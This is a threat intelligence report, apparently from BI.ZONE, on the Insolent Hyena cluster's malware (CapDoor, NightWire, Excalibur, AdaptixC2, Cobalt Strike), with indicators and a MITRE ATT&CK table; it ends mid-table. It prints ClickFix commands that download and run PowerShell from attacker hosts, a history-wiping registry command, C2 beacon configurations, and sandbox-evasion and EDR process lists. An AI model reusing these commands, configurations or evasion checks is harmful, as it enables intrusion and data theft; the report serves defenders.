Beyond hacktivism: Insolent Hyena demonstrates mixed motives and objectives
Overview
From January through July 2026, we analyzed the activity of the Insolent Hyena cluster.
The threat actor was found to use the following tools:
- NightWire, a previously undocumented remote access trojan
- Excalibur, a stealer written in Python and obfuscated with PyArmor
- NetSupport, a remote access tool
- CapDoor, another remote access trojan
- AdaptixC2 and Cobalt Strike frameworks
Insolent Hyena targeted Russian organizations across a wide range of sectors, including science, education, government, retail, e‑commerce, IT, and engineering.
Key findings
- Insolent Hyena actively collaborates with espionage and financially motivated threat actors.
- The adversary continues to expand its toolkit by incorporating legitimate software and dual‑use tools.
- Rather than relying on specific third‑party solutions, the cluster employs multiple C2 frameworks alongside legitimate remote access tools.
Toolkit
CapDoor
In early May, BI.ZONE Threat Intelligence identified an Insolent Hyena phishing website that impersonated the website of a regulatory authority. The attackers employed the ClickFix social engineering technique (User Execution: Malicious Copy and Paste, T1204.004).
Malicious command:
CMd /c pO^wERS^hELl -c iex (iwr 'hxxps://0.rospotrebru[.]com/0/p.la')# Confirmation code: 029381
If the next stage payload is requested from the specified URL in a web browser, the server returns a benign script. This is intended to disguise the malicious activity.
Benign script:
Start-Process calc Write-Host 'Hey! Whats up? How you doing?'
Once executed, the command downloads a PowerShell script that serves as a loader for the next stage of the attack. Two such scripts were identified: p.la, downloaded from the URL embedded in the command, and another sample found in a public malware scanning service. Both scripts are identical and execute the same compromise chain.
Malware execution flow:
clears the RunMRU registry key storing the history of commands entered via the Run dialog (Win+R), thereby removing evidence of the user‑initiated command interpreter launch
Remove-ItemProperty -Path ('HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU') -Name "*" -ErrorAction SilentlyContinuedownloads the MSI package for the next stage
URLs are used by the two scripts to retrieve the MSI packages:
hxxps://0.rospotrebru[.]com/0/ferr.um hxxps://0.rospotrebru[.]com/0/midnig.ht
launches the MSI package using
msiexec.exemsiexec /i [path to MSI package]
Executing the first MSI package installs KeyShot Network Configurator, a legitimate component of the KeyShot 3D rendering software. Alongside the legitimate application, three malicious DLLs and two encrypted payload files are dropped onto the system.
Files created by the first MSI package:
iAppAud.dll, decrypts the Octowave Loader shellcode stored inpreviewcore.db.PDFShell.dll, hides the current process windows.OneLicense.dll, launches decrypted Octowave Loader shellcode.previewcore.db, contains encrypted Octowave Loader shellcode.BezierUpdate.bin, contains encrypted CapDoor RAT.
The second MSI package installs MediaInfoService, a component of 4DDiG File Repair, a file recovery application developed by Tenorshare. The executable is version 1,0,0,133‑d‑194af4bb. During installation, two malicious DLLs and two encrypted payload files are created.
Files created by the second MSI package:
D3xlpack.dll, decrypts the Octowave Loader shellcode stored inpreview.dat.ReactiveProperty.dll, launches decrypted Octowave Loader shellcode.preview.dat, contains encrypted Octowave Loader shellcode.BezierUpdate.bin, contains encrypted CapDoor RAT.
CapDoor C2 server:
hxxps://lorebird[.]com
Persistence is established via the Run registry key by creating an entry that launches the legitimate executable.
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "KST Configurator" = %LocalAppData%\Programs\KeyShot Network Configurator\fdupdate.exe
We also identified a similar infection chain.
Malicious command:
CMd /c pow^e^r^sHe^lL iex(iwr('hxxps://intekopt[.]ru/yacaptcha/verification/id928012750/yande.x'))
The PowerShell script follows the same logic described above and downloads an MSI package containing:
hxxps://lorebird[.]com/p/a.u
The MSI package installs Syncovery Core Client.
Files created:
winPro.dll, decrypts Octowave Loader shellcode fromcache.dat.Patagames.Pdf.dll, launches decrypted Octowave Loader shellcode.DHQ.Common.dll, hides application windows.cache.dat, contains encrypted Octowave Loader shellcode.Size_Stroke.dat, contains encrypted CapDoor RAT.
CapDoor C2 server:
hxxps://lorebird[.]com
During our analysis of Insolent Hyena's infrastructure, we also obtained standalone CapDoor samples.
The malware was distributed as an archive named sslconf.zip containing the legitimate application sslconf.exe.
Files used:
Build-.dll, decrypts Octowave Loader shellcode fromThread.Pack.datwith XOR.host.dll, launches decrypted Octowave Loader shellcode.RaiDrive.dll, hides application windows.Thread.Pack.dat, contains encrypted Octowave Loader shellcode.detect.bak, contains encrypted CapDoor RAT.
No changes were observed in the CapDoor malware itself.
CapDoor C2 server:
hxxps://freeportcrm[.]com
NightWire
BI.ZONE Threat Intelligence researchers identified a previously unknown RAT, NightWire, which was distributed together with a downloader named NightWire Stager.
NightWire Stager first checks whether debug mode is enabled, by comparing the configuration string NW_DEBUG_OFF with NW_DEBUG_ON. If debug mode is enabled, the downloader creates a debug window titled NightWire Stager [DEBUG] and logs its activity to %TEMP%\nw_stager.log in the following format:
[TIMESTAMP] [DATA]
A log entry can look like this:
[12:44:46.490] === NightWire Stager start, pid=10384 ===
The downloader then creates the mutex Global\NW_Stg_0xA3.
If debug mode is disabled, the malware performs anti‑sandbox and anti‑debugging checks:
- calls the WinAPI function
IsDebuggerPresent() - checks
ProcessDebugPort - analyzes timing discrepancies via
QueryPerformanceCounter() - retrieves the current username via
GetUserNameA, converting it to lowercase, searches for predefined substrings - verifies that the system has more than 2 GB of RAM
- verifies that more than 50 processes are running
- checks that the system uptime exceeds 600,000 ms
- verifies that the mouse cursor position changes after 600 ms
- checks that drive
C:\has a capacity greater than 40 GB - verifies that
%APPDATA%\Microsoft\Windows\Recentcontains more than 10 items - verifies that the CPUID hypervisor bit is not set
- attempts to open several predefined registry paths in HKLM
The username check is crucial: if the username contains one of the predefined substrings, the malware terminates immediately.
All other checks use cumulative scoring logic. Indicators of a normal system increment a counter. If the final score is less than or equal to 4, the malware considers the environment to be a sandbox or virtual machine and terminates.
The malware then creates a TCP socket and attempts to download the final payload:
81.26.179[.]144:8080/WIN-[redacted]/nightwire.bin
After downloading the payload, the malware attempts to decrypt it using RC4 with the key EdgeUpdateFramework_v2.1.4_x64.
If decryption succeeds, the encrypted payload is saved to one of the following randomly selected locations:
%APPDATA%\Adobe\AdobeGCClient\config.dat %APPDATA%\Adobe\AdobeIPCBroker\config.dat %APPDATA%\Google\CrashReports\config.dat %APPDATA%\Mozilla\MaintService\config.dat %APPDATA%\Logitech\LogiOptions\config.dat %APPDATA%\Microsoft\IdentityCRL\config.dat %APPDATA%\Spotify\SpotifyMigrator\config.dat %APPDATA%\Zoom\ZoomRooms\config.dat
The decrypted payload is then loaded directly into process memory and executed via the WinAPI function CreateThread().
The final payload deployed by the stager is NightWire.
NightWire is a Go‑based RAT obfuscated with garble. At startup, it checks the value of the configuration variable NW_DEBUG_ON. If enabled, the malware outputs debug messages to the console and writes them to %TEMP%\nw_debug.log. Otherwise, logging is performed only to %TEMP%\nw_debug.log. If the malware is launched with the --elevated argument, all sandbox and virtual machine detection routines are skipped.
To detect sandbox environments, NightWire runs the following checks:
- verifies that the username does not match any of the following values:
sandbox,sandbox_user,malware,malwareanalyst,virus,sample,test,testuser,john,johndoe,john_doe,user,currentuser,analyst,maltest,joe,miller,emily,frank,peter,phil,hans,tequilaboomboom,sand box. - checks that more than 50 processes are running.
- verifies that drive
C:\has at least 40 GB of free space. - checks for user activity by comparing mouse cursor positions over a predefined interval.
- checks for the existence of
%APPDATA%\Microsoft\Windows\Recent\sample. - checks for the following registry keys commonly associated with virtual environments:
HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest HKLM\SYSTEM\CurrentControlSet\Services\VBoxMouse HKLM\SYSTEM\CurrentControlSet\Services\vmci HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions HKLM\SYSTEM\CurrentControlSet\Services\intelppm
- calls
NtQuerySystemInformation(SystemCodeIntegrityPolicyInformation). If the call fails, the environment is treated as a sandbox.
Once all checks are completed, the malware counts the number of detections. If more than five checks are positive, NightWire concludes that it is running in a sandbox.
The malware then performs anti‑debugging checks using the following WinAPI functions:
IsDebuggerPresentCheckRemoteDebuggerPresentNtQueryInformationProcess(ProcessDebugPort)NtQueryInformationProcess(ProcessDebugFlags)QueryPerformanceFrequency()(to detect timing anomalies)
Next, the malware checks the running processes to identify security, analysis, and debugging tools: csfalconservice.exe, csagent.exe, falcon-sensor.exe, sentinelagent.exe, sentinelone.exe, sentinelhelper.exe, cb.exe, cbcomms.exe, cbstream.exe, carbonblack.exe, mssense.exe, senseir.exe, sensecncproxy.exe, elastic-agent.exe, elastic-endpoint.exe, cylancesvc.exe, cylanceui.exe, savservice.exe, sophos.exe, sophosav.exe, rtvscan.exe, bdagent.exe, ekrn.exe, eset.exe, avp.exe, avpui.exe, kavfs.exe, mbamservice.exe, mbamtray.exe, cyserver.exe, cytray.exe, mcshield.exe, mctray.exe, masvc.exe, ccsvchst.exe, vsserv.exe, procmon.exe, procexp.exe, processhacker.exe, x64dbg.exe, x32dbg.exe, ollydbg.exe, ida.exe, ida64.exe, dnspy.exe, ghidra.exe, fiddler.exe, tcpview.exe, wireshark.exe, autoruns.exe.
After completing these checks, the malware patches the ETW and AMSI mechanisms. If the process was started with the --service argument, NightWire relaunches with the --detached argument.
The malware then establishes persistence as described in the corresponding command section. If running with administrative privileges, it adds its own path to the Microsoft Defender exclusion list by creating an entry in HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths.
Next, the malware starts a dedicated Go routine responsible for communicating with the C2 server and processing commands.
The following address is used as the C2 server:
81.26.179[.]144:4444
Communication with the C2 server is performed over a TCP socket.
Supported NightWire commands:
| Command | Description |
|---|---|
ping |
Returns |
screenshot |
Captures a screenshot in BMP format |
mic-record [seconds] |
Records microphone audio for the specified duration. The malware sleeps for the requested interval before retrieving the recording as a WAV file |
inject [pid] |
Injects shellcode into the specified PID via |
socks5-start [port] |
Starts a SOCKS5 proxy |
socks5-stop |
Stops the SOCKS5 proxy |
tunnel-start |
Establishes a TCP tunnel to the specified destination. The string |
clipboard-dump |
Retrieves clipboard contents via |
get-creds |
Steals data from Chromium‑based browsers. The malware extracts and decrypts the master key from the |
webcam-snap |
Receives an additional component from the C2 server, saves it as |
webcam-stop |
Terminates the process started by |
geolocate |
Collects nearby Wi‑Fi BSSIDs. At least two access points are required for successful geolocation. The malware sends the collected data to |
webcam-stream |
Downloads an additional webcam component, stores it as |
keylog-start |
Installs a keyboard hook using |
keylog-dump |
Sends collected keystroke data to the C2 server |
keylog-stop |
Stops the keylogger |
screen-black |
Creates a full‑screen window using the |
screen-update |
Uses the same |
screen-restore |
Restores the user's display |
persist |
Establishes persistence using a DLL embedded within the malware. The DLL is written to |
elevate |
Bypasses UAC using a mock trusted directory and DLL side‑loading through |
search-files [pattern] [path] |
Recursively searches for files matching the specified pattern. The directories |
shell [command] |
Executes commands via |
sysinfo |
Collects basic system information, including the computer name |
desktop-grab |
Collects up to 30 files (maximum combined size: 80 MB) from |
browse [path] |
Recursively enumerates the specified directory |
rdp-connect [c2] |
Initiates an RDP connection to the specified address |
fingerprint-collect |
Collects detailed host fingerprint information, including:
|
browser-grab [path] |
Recursively collects files from the specified directory. Readable files up to 50 MB are zipped. Directories containing |
download-zip [path] |
Archives and downloads the specified directory recursively |
download [path] |
Downloads the specified file |
upload [path] [base64data] |
Writes Base64‑encoded data to the specified file |
browser-profiles |
Enumerates installed browsers and their profiles. For Chromium‑based browsers, it parses the |
If a WireGuard configuration is present, the malware launches a separate Go routine that initializes a WireGuard component and creates a local tray interface masquerading as a VPN client named SecureConnect VPN Client.
The tray menu contains the following options:
- Connect (
Connect to the corporate WireGuard tunnel) - Disconnect (
Disconnect from the corporate WireGuard tunnel) - Enable diagnostic input logging (
Enable explicit diagnostic logging) - Quit (
Close SecureConnect)
Selecting Connect invokes the WireGuard connection handler, establishing a tunnel to the remote WireGuard endpoint specified in the malware configuration. Selecting Disconnect terminates the tunnel. Depending on the configuration flag, the tunnel may also be established automatically when the component starts.
AdaptixC2
During the investigation of the attackers' infrastructure, our researchers discovered 1CServiceInstaller.exe, an implant based on the AdaptixC2 post‑exploitation framework with the following configuration:
{
"beacon_type": "BEACON_HTTP",
"network": {
"use_ssl": true,
"protocol": "HTTPS",
"servers": [
{
"host": "unmoralreformeddehydrate[.]cfd",
"port": 443,
"url": "hxxps://unmoralreformeddehydrate[.]cfd:443"
}
]
},
"http": {
"method": "POST",
"uri": "/service/update2/json",
"parameter": "Bfcache-Opt-In",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 YaBrowser/25.8.0.0 Safari/537.36",
"headers": {
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Dest": "empty",
"Accept-Language": "en-US,en;q=0.5"
}
},
"timing": {
"ans_pre_size": 26,
"ans_size": 47,
"kill_date": 0,
"working_time": 0,
"sleep_delay_ms": 0,
"jitter_ms": 0
},
}
AdaptixC2 was also distributed in an MSI package named BeautyPilotPersonal_signed.msi, which installs the legitimate application QT Designer.
The following files are dropped during installation:
libCra.dll, decrypts the Octowave Loader shellcode fromUpdate.Build.db.SonitusFXWahwah.dll, executes the decrypted Octowave Loader shellcode.SharpVectors.Model.dll, hides application windows.Update.Build.db, contains the encrypted Octowave Loader shellcode.Packets.pak, contains encrypted AdaptixC2.
The configuration of this Adaptix sample is identical to the one shown above.
Excalibur
Further analysis of the adversary´s infrastructure led to the discovery of exhere.exe, a previously undocumented stealer written in Python. The executable is packaged with PyInstaller and additionally protected with PyArmor versions 8–9.
Excalibur steals data from a wide range of applications, including:
- browsers: Chromium, Gecko, Tor, and Yandex
- Game applications: Battle.net, Epic Games, Hytale, Minecraft, OBS, Plarium, RiotGames, Roblox, Steam, VK Play, and XSplit
- email and messaging applications: Delta Chat, Discord, Element, eM Client, Foxmail, Gajim, Mailbird, Mailspring, Microsoft Teams, OpenClaw, Outlook, Pidgin, Rambox, Signal, Slack, Telegram, Tox, Tuta, Viber, WhatsApp
, Postbox - cryptocurrency wallets: Armory, Atomic Wallet, Binance, Bitcoin, Bitwarden, Blockstream, Cake Wallet, Coinomi, Coin Wallet, Electrum, Exodus, Frame, Guarda, Infinity Wallet, KeePassXC, Komodo, Litecoin, MetaMask, Monero, MyMonero, OKX Wallet, Wasabi Wallet
- VPN, FTP, RDP, database, networking, and other applications: AnyDesk, Core FTP, DBeaver, Electerm, FileZilla, FTP Rush, FTPx, Hamachi, HeidiSQL, iVMS‑4200, mRemoteNG, Mullvad VPN, MySQL Workbench, Navicat, npm, OpenVPN, Outline, pgAdmin, Proton VPN, Proxifier, RDCMan, RustDesk, Snowflake, SQuirreL SQL, TightVNC, Total Commander, TurboFTP, WinBox, WinSCP, WLAN, and Xftp
- note‑taking and productivity applications: Microsoft Sticky Notes, Notion, Obsidian
Excalibur also has the following capabilities:
- captures desktop screenshots
- takes snapshots from the built‑in or an external webcam
- collects user and system information, including the username, SID, privilege level, computer name, operating system version and architecture, CPU and GPU details, and the public IP address (retrieved from
https://api.ipify.org) - steals files from the compromised system
The stealer incorporates several anti‑virtualization and anti‑sandbox capabilities:
- invokes the CPUID instruction with the value
0x40000000to retrieve the hypervisor vendor string and checks the value for the substringsVBox,KVM, andVMware; if a match is found, the stealer terminates - searches for loaded DLLs for libraries commonly associated with analysis tools and sandboxes, including
sbiedll.dll,dbghelp.dll,api_log.dll,dir_watch.dll,pstorec.dll,vmcheck.dll, andwpespy.dll - checks for the presence of an attached debugger by calling
IsDebuggerPresent()
Excalibur can self‑delete from the system by executing the following command:
cmd.exe /D /R chcp 65001 & timeout /t 2 /nobreak & del /F /Q %PATH%
The stealer additionally collects geolocation data from the compromised system:
- enumerates nearby Wi‑Fi networks and collects their SSIDs and BSSIDs
- obtains the default gateway IP address by reading the
DefaultIPGatewayfield through theWin32_NetworkAdapterConfigurationWMI query - retrieves the MAC address via ARP
- sends a POST request to
https://gs-loc.apple.com/clls/wlocto determine the geographic coordinates (latitude and longitude) using thelocationdprotocol
Excalibur sends requests to canarytokens.com to notify the operators of its execution and activity.
An example Excalibur configuration is shown below:
ECC_PUBLIC = '3059301306072a8648ce3d020106082a8648ce3d030107034200043850697a6e11898c7343f57b44b108b2a685db06db022881f8e52560f3f01222da0f3c838755ff9e4b19da5ce7fb1ac3bde809c3f646eee9ddabf5da54152007'
CANARY_ENDPOINTS = { 'hxxp://canarytokens[.]com/tags/feedback/static/1o6pm1zgcinkbnbkw1nkub86h/submit.aspx', 'hxxp://canarytokens[.]com/tags/feedback/uymgavxl9bgj2jeei1o8fluu4/post.jsp'}
MUTEX = 'Global\\{D3C2B0E1-4F5A-4F6B-9C3D-2E1F3B4A5C6D}' COLLECT_LOCAL_STORAGE = True
COLLECT_FILES = True
CAPTURE_WEBCAM = False
CAPTURE_DESKTOP = True
SELF_DELETE = False
ANTI_VM = False
Stolen files may be uploaded to public file‑sharing services, including:
- https://litterbox.catbox.moe/resources/internals/api.php
- https://bashupload.com/
- https://upload.gofile.io/uploadfile
- https://envs.sh
- https://filebin.net/
- https://tempshare.su/upload-direct
- https://transfer.sh
- https://transfer.adttemp.com.br/
To prevent multiple instances from running simultaneously, Excalibur creates a global mutex like this one:
Global\{D3C2B0E1-4F5A-4F6B-9C3D-2E1F3B4A5C6D}
The collected information, including system information and a desktop screenshot, is stored in a ZIP archive named cred.zip, which is then exfiltrated to the attackers. The generated archive contains the marker string < E X C A L I B U R >.
cred.zipRemote access and administration tools
Further analysis of the attackers' infrastructure revealed the use of tools such as NetSupport and AnyDesk. The latter was likely used to deliver additional malicious tools to compromised systems. Our researchers also identified an archive named sberbank.zip containing NetSupport. Network communication was established to the IP address 91.219.150.109.
Domains hosted on this IP address:
securityswindow[.]com micrasoftwindow[.]com microsoftpathes[.]com
Both AnyDesk and NetSupport were repeatedly used across multiple intrusion scenarios as legitimate remote access tools. This technique reduces the likelihood that the attackers' activity and tools will be revealed by threat detection solutions.
Cobalt Strike
A deeper analysis of the compromise chains uncovered an additional MSI package 63b2a0ec.msi (also observed as svchost.msi). The installer simultaneously deploys the legitimate QCAD Manager, a 2D technical drawing program, and an HTTP Beacon for the Cobalt Strike post-exploitation framework. The beacon is injected into the qcad.exe process memory.
The beacon's configuration is shown below:
{
"beacontype": [
"HTTP"
],
"sleeptime": 38500,
"jitter": 27,
"maxgetsize": 1398151,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 987654321,
"cfg_caution": true,
"kill_date": null,
"server": {
"hostname": "178[.]236[.]252[.]92",
"port": 80,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVVHO60tqKBiE9+iRfnEeXe1Sqh2aw1Aq34M34VH5PD0B2hiG7c/R5t3E/YVBAb9xpAmHw+brPYt4u9xvN3x3S0/OhaDxqRROAi2CVsK3znP6fAHN1ZlOjS6cC7CRaYzWUfk/Ncr5vSl/5k+aFzgjQMhS1XWg6s/Ii6Uqlpwzo0wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/async/newtab_promos",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print",
"append 17 characters",
"prepend 32 characters",
"base64url"
]
}
},
"http-post": {
"uri": "/service/update2/json",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 96,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\gpupdate.exe",
"spawnto_x64": "%windir%\\sysnative\\gpupdate.exe"
},
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntdll.dll!RtlUserThreadStart'",
"SetThreadContext",
"NtQueueApcThread-s",
"CreateThread 'kernel32.dll!LoadLibraryA'",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 16700,
"startrwx": true,
"stub": "CzQVDDQuNdL/rLIidiDZHA==",
"transform-x86": [
"prepend '\\x90\\x90\\x90'"
],
"transform-x64": [
"prepend '\\x90\\x90\\x90'"
],
"userwx": false
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": true
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
Indicators of compromise
Checksums
c08353db74c847d6bddab0f2a9aed6fde42014a66cf7abbbd46cdd964b9c1929ad5b915766b0182202648ff9c5c4881a4fcabca8e8847cad497f47c01a5a02fb39a336c4066647cd02042ce72780cb5f9129bcbcca7f87177af862b5efbc47d7d51c6b1b160f168fb936b94a67e5a6f3c5bc7d00fdd61d30ee17aa3e8e4b90784856ddb55e8f6a901a8690e22a697662369055f386ab7059d47a38cb9ee792e8f074eaf5239af199369dd414aea7316610e8f7decbe5e1c936cbdcdbec6aabe9e5b57193cea47c80947f87d1ffa7e376eead6a0bbec740a89c7e161205410b0979b182f581310548c5de0913deda2a99e24c6f8d651e714b6b98890931e0a5fb4824f6686b8746cc9aabe931f5e0acf9b474a72b8a07a76f78711e10ffb290cca03ea11e5ea4808afaeb5189916dd3d62da65e004cb70b1d07703e24b6d6ee3325714ca20b2ce8eecbacc59d34b2c6712fa4f1913b4dc8c8d7a0e4375aefa356bd534fcbd2c37e8ba751f4609ef046b7e1e82f7ea6c2d28c535f97b907d18e125df0b28276c8d9dfd185949621ea5b46952b032f88e9775db84e42ca208456f52463f321e6263c562dfde4a30012e0c699c28c62f3545578b02c93cbfe7999297a7e92a311c49b5b766429e5d85c87e4270e1a08d7fbb1fe8b794f7a78e4edb6
2b8d278297c08bc44236daf5c1b1f964b1d514217cfd2205c3a0dc835dbdf05c15c9f99289a8918f21d9689d8d2cc9e099cc58219a1268570764668fc0a8abff3536e20a177c79581cada5bc7008b246a00c3f9d9f4e98424d2db5802d3ac7f2
7809497c82a705c73aeb9d226c2ec8cb5b174a4c5696867d01f3ef0b186c7188ab01eb9eccd3237318961d3a72320e53567a730f785955a544021be7aedb1961
2f211c850d8bdd34bbfbea3fdf1a9b7089fdefb94768c3a2cf76243a29967ec8
sberbank.zip)17a73c01e6dfc40b3b4a29f2630d8ead8e04a6f6588b705dbe0aaa6efdaa4214
client32.ini)ee117e51e7c2aaf411af9c392863562441145d6efd764627f6461f8c614243a3fe5cedd40864963a2d5d3972e74c3563a9bcfd6f77a2ef1d228272cfff72ef5988243699d9aa42ff69b53f86462f597630df1c5650e27815887bc89e1f2b06c0
4e9fc3d61d41be8f52223a8d24cbcb4f8c962c780b470da6e1e3824fbb5b8ecc
Network indicators
hxxps://0.rospotrebru[.]com/0/p.lahxxps://0.rospotrebru[.]com/0/ferr.umhxxps://0.rospotrebru[.]com/0/midnig.hthxxps://intekopt[.]ru/yacaptcha/verification/id928012750/yande.xhxxps://lorebird[.]com/p/a.u81.26.179[.]144:8080/WIN-[redacted]/nightwire.binhxxp://canarytokens[.]com/tags/feedback/static/1o6pm1zgcinkbnbkw1nkub86h/submit.aspxhxxp://canarytokens[.]com/tags/feedback/uymgavxl9bgj2jeei1o8fluu4/post.jsp
lorebird[.]comfreeportcrm[.]comintekopt[.]ruunmoralreformeddehydrate[.]cfdsecurityswindow[.]commicrasoftwindow[.]commicrosoftpathes[.]com
81.26.179[.]14491[.]219[.]150[.]109178[.]236[.]252[.]92
MITRE ATT&CK
| Tactic | Technique | Procedure |
|---|---|---|
Execution |
Command and Scripting Interpreter: PowerShell |
Insolent Hyena uses PowerShell to download and execute the next stage script via Invoke‑Expression and Invoke-WebRequest:
Uses CapDoor to execute commands via the PowerShell interpreter:
|
Command and Scripting Interpreter: Windows Command Shell |
Uses NightWire to execute commands received from the C2 server through Uses AdaptixC2 to provide interactive command execution through the Windows command shell |
|
Command and Scripting Interpreter: Python |
Uses Excalibur written in Python |
|
Hijack Execution Flow: DLL |
Places malicious DLLs alongside legitimate applications to load and execute Octowave Loader |
|
Native API |
Uses CapDoor to invoke the WinAPI functions Uses the Cobalt Strike post-exploitation implant to invoke WinAPI functions for malicious operations |
|
User Execution: Malicious Copy and Paste |
Uses ClickFix to trick users into copying a malicious command from a fake CAPTCHA page and executing it via the Run dialog:
|
|
Persistence |
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
Establishes persistence by creating a Registry Run value that references a legitimate application executable under |
Event Triggered Execution: Component Object Model Hijacking |
Uses NightWire to establish persistence by storing a DLL as |
|
Privilege Escalation |
Abuse Elevation Control Mechanism: Bypass User Account Control |
Uses NightWire to bypass UAC using the mock trusted directory technique and DLL side‑loading through the trusted executable |
Scheduled Task/Job: Scheduled Task |
Uses NightWire to create the following scheduled task:
|
|
Stealth |
Debugger Evasion |
Uses NightWire to detect debuggers via Uses Excalibur to detect debuggers with |
Deobfuscate/Decode Files or Information |
Uses malicious DLLs to decrypt the XOR-encrypted Octowave Loader shellcode and the CapDoor RAT payload before execution. Uses NightWire Stager to decrypt the downloaded payload with the RC4 algorithm before executing it |
|
Execution Guardrails: Mutual Exclusion |
Uses Excalibur to check for an existing mutex and prevent multiple instances from running:
|
|
Indicator Removal: Clear Command History |
Clears the RunMRU Registry key to erase the history of commands entered through the Run dialog:
|
|
Indicator Removal: File Deletion |
Uses Excalibur to delete its own executable by invoking
|
|
Obfuscated Files or Information |
Uses NightWire written in Go and obfuscated with garble |
|
Obfuscated Files or Information: Software Packing |
Uses Excalibur packaged with PyInstaller and additionally protected with PyArmor |
|
Obfuscated Files or Information: Dynamic API Resolution |
Uses CapDoor to dynamically resolve WinAPI function addresses. Function names are hashed with MurmurHash3 |
|
Obfuscated Files or Information: Command Obfuscation |
Obfuscates |
|
Obfuscated Files or Information: Encrypted/Encoded File |
Stores the Octowave Loader shellcode and CapDoor RAT in encrypted files. Uses NightWire Stager to store the encrypted NightWire payload within |
|
Process Injection |
Uses NightWire to inject shellcode into a specified process by allocating memory, writing the payload, and creating a remote thread. Uses the Cobalt Strike implant to inject malicious code into other processes |
|
System Binary Proxy Execution: Msiexec |
Uses Uses CapDoor to launch MSI packages through the The Cobalt Strike implant is deployed through msiexec |
|
System Binary Proxy Execution: Regsvr32 |
Uses CapDoor to execute DLLs via |
|
System Binary Proxy Execution: Rundll32 |
Uses CapDoor to execute DLLs via |
|
Virtualization/Sandbox Evasion: System Checks |
Uses NightWire Stager and NightWire to detect sandboxes and virtual machines by checking the username, available RAM, running process count, disk size, Recent folder contents, the CPUID hypervisor bit, virtualization-related Registry keys, and other environmental characteristics. The malware terminates if a suspicious environment is detected. Uses Excalibur to detect virtual and sandbox environments by issuing the CPUID instruction and checking the names of downloaded DLLs |
|
Virtualization/Sandbox Evasion: User Activity Based Checks |
Uses NightWire Stager and NightWire to verify user activity by comparing mouse cursor positions before and after a delay. Lack of movement is treated as evidence of a sandbox |
|
Defense Impairment |
Disable or Modify Tools |
Uses NightWire to patch the AMSI and ETW mechanisms |
Credential Access |
Credentials from Password Stores: Credentials from Web Browsers |
Uses NightWire to steal browser-stored passwords, cookies, and payment card details. Uses Excalibur to steal sensitive data from browsers |
Discovery |
File and Directory Discovery |
Uses NightWire to recursively search for files matching a specified pattern and to bypass specified directories. Uses AdaptixC2 to enumerate files and directories |
Peripheral Device Discovery |
Uses Excalibur to identify peripheral devices, including webcams |
|
Process Discovery |
Uses AdaptixC2 to enumerate running processes |
|
System Information Discovery |
Uses CapDoor to collect system information, including the malware GUID, computer NetBIOS name, Windows version, system architecture, process name, and user privilege level. Uses NightWire to collect the computer name, process ID, current working directory, and administrative privilege status. It also gathers detailed system information, including:
Uses Excalibur to collect system information, including the computer name and hardware details such as CPU and GPU information |
|
System Location Discovery |
Uses NightWire to geolocate a computer based on nearby Wi‑Fi BSSIDs and external IP address information. Uses Excalibur to geolocate a compromised system based on its IP address and via the locationd protocol |
|
System Network Configuration Discovery |
Uses Excalibur to collect network configuration information, including IP and MAC addresses |
|
System Network Configuration Discovery: Wi‑Fi Discovery |
Uses Excalibur to enumerate available Wi‑Fi networks |
|
System Owner/User Discovery |
Uses CapDoor to collect user information, including the username ( Uses NightWire to retrieve the current username from the Uses Excalibur to collect the username and SID |
|
Lateral Movement |
Remote Services: Remote Desktop Protocol |
Uses NightWire to establish RDP connections to adversary-specified hosts |
Remote Services: SMB/Windows Admin Shares |
Uses AdaptixC2 to communicate with its agent over SMB named pipes |
|
Collection |
Archive Collected Data |
Uses NightWire to package collected files into a ZIP archive before transmitting them to the C2 server. Uses Excalibur to package stolen data into a ZIP archive before exfiltration |
Audio Capture |
Uses NightWire to record microphone audio for a server-specified duration and upload the recording as a WAV file |
|
Clipboard Data |
Uses NightWire to retrieve clipboard contents through the |
|
Data from Local System |
Uses NightWire to collect files from the victim's Desktop and Downloads directories. Uses Excalibur to steal files from compromised systems |
|
Input Capture: Keylogging |
Uses NightWire to capture keystrokes |
|
Screen Capture |
